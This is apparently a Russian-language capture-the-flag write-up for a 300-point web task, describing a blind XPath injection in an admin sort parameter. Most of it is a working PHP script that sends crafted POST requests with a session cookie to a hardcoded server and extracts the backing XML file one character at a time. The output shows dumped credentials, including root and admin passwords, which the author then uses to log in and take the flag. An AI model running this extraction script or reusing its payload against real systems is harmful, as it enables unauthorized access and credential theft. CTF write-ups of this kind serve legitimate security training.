[HeartLESS]

WEB 300
xPath в параметре ID в админской сортировке.
мой вектор

1' and substring(normalize-space(../../../node()),1,1)='a' and '2'='2

при длине в 2073 всего файла, достаточно было забрать первые 50 символов. Я забрал 100
мой скрипт

<?
	echo "<b>brute is 2 slow</b> =(";
	$basis = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 <>/_@";
	$alphabet = array();
	for($i=0;$i<strlen($basis);$i++) {
		$alphabet[]=$basis[$i];
	}

	$innertext = "";
	$current_counter = 1;

	while(strlen($innertext)<100){
		$found = false;
		//when $alpha is in $alphabet:
		foreach ($alphabet as $alpha) {
			$fp = fsockopen("194.106.195.60", 9182, $errno, $errstr);
			$file = "";

			$req = "POST /admin HTTP/1.1\r\n".
					"Host: 194.106.195.60:9182\r\n".
					"User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:20.0) Gecko/20100101 Firefox/20.0\r\n".
					"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n".
					"Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3\r\n".
					"Accept-Encoding: gzip, deflate\r\n".
					"Referer: http://194.106.195.60:9182/admin\r\n".
					"Cookie: session=\"1EeY3DwVoTlPJr26znAvYHqnXok=?user=UycyJwou\"\r\n".
					"Connection: Close\r\n".
					"Content-Type: application/x-www-form-urlencoded\r\n".
					"Content-Length: ".strlen("op=%3D&v=1' and substring(normalize-space(../../../node()),".$current_counter.",1)='".$alpha."' and '2'='2")."\r\n".
					"\r\n".
					"op=%3D&v=1' and substring(normalize-space(../../../node()),".$current_counter.",1)='".$alpha."' and '2'='2\r\n\r\n";
			fwrite($fp, $req);
			while (!feof($fp)) {
			 	$file .= fread($fp, 4000);
			}
			fclose($fp);
			if(strlen($file) > 1050){
				$innertext.=$alpha;
				echo '<br>'.$innertext;
				$current_counter++;
				$found = true;
				break;
			}
		};
		if($found)
			continue;

		for($i = 1; $i < 255; $i++) {
			$fp = fsockopen("194.106.195.60", 9182, $errno, $errstr);
			$file = "";

			$req = "POST /admin HTTP/1.1\r\n".
					"Host: 194.106.195.60:9182\r\n".
					"User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:20.0) Gecko/20100101 Firefox/20.0\r\n".
					"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n".
					"Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3\r\n".
					"Accept-Encoding: gzip, deflate\r\n".
					"Referer: http://194.106.195.60:9182/admin\r\n".
					"Cookie: session=\"1EeY3DwVoTlPJr26znAvYHqnXok=?user=UycyJwou\"\r\n".
					"Connection: Close\r\n".
					"Content-Type: application/x-www-form-urlencoded\r\n".
					"Content-Length: ".strlen("op=%3D&v=1' and substring(normalize-space(../../../node()),".$current_counter.",1)='".urlencode(chr($i))."' and '2'='2")."\r\n".
					"\r\n".
					"op=%3D&v=1' and substring(normalize-space(../../../node()),".$current_counter.",1)='".urlencode(chr($i))."' and '2'='2\r\n\r\n";
			fwrite($fp, $req);
			while (!feof($fp)) {
			 	$file .= fread($fp, 4000);
			}
			fclose($fp);
			if(strlen($file) > 1050){
				$innertext.=chr($i);
				$alphabet[] = chr($i);
				echo '<br>'.$innertext;
				$current_counter++;
				$found = true;
				echo "<br> Alphabet improved:".implode(" ", $alphabet);
				break;
			}
		};

		if($found)
			continue;



		echo "<br>".$current_counter++." not found =( go next";
		$innertext.="?";
		echo "<br>".$innertext;
	};

В итоге получил

...
Alphabet improved:A B C D E F G H I J K L M N O P Q R S T U V W X Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9 < > / _ @ .
1 root YChhI499bnTVOrJ 0 2 admin qwerty123 1 3 user pass 2 1lolollolol/uploads/1.p
..
и так далее

видно учетку рута, заходим под ней, там флаг
OK! Your flag is: a0133d7bf0..........fc13ef4be99b =)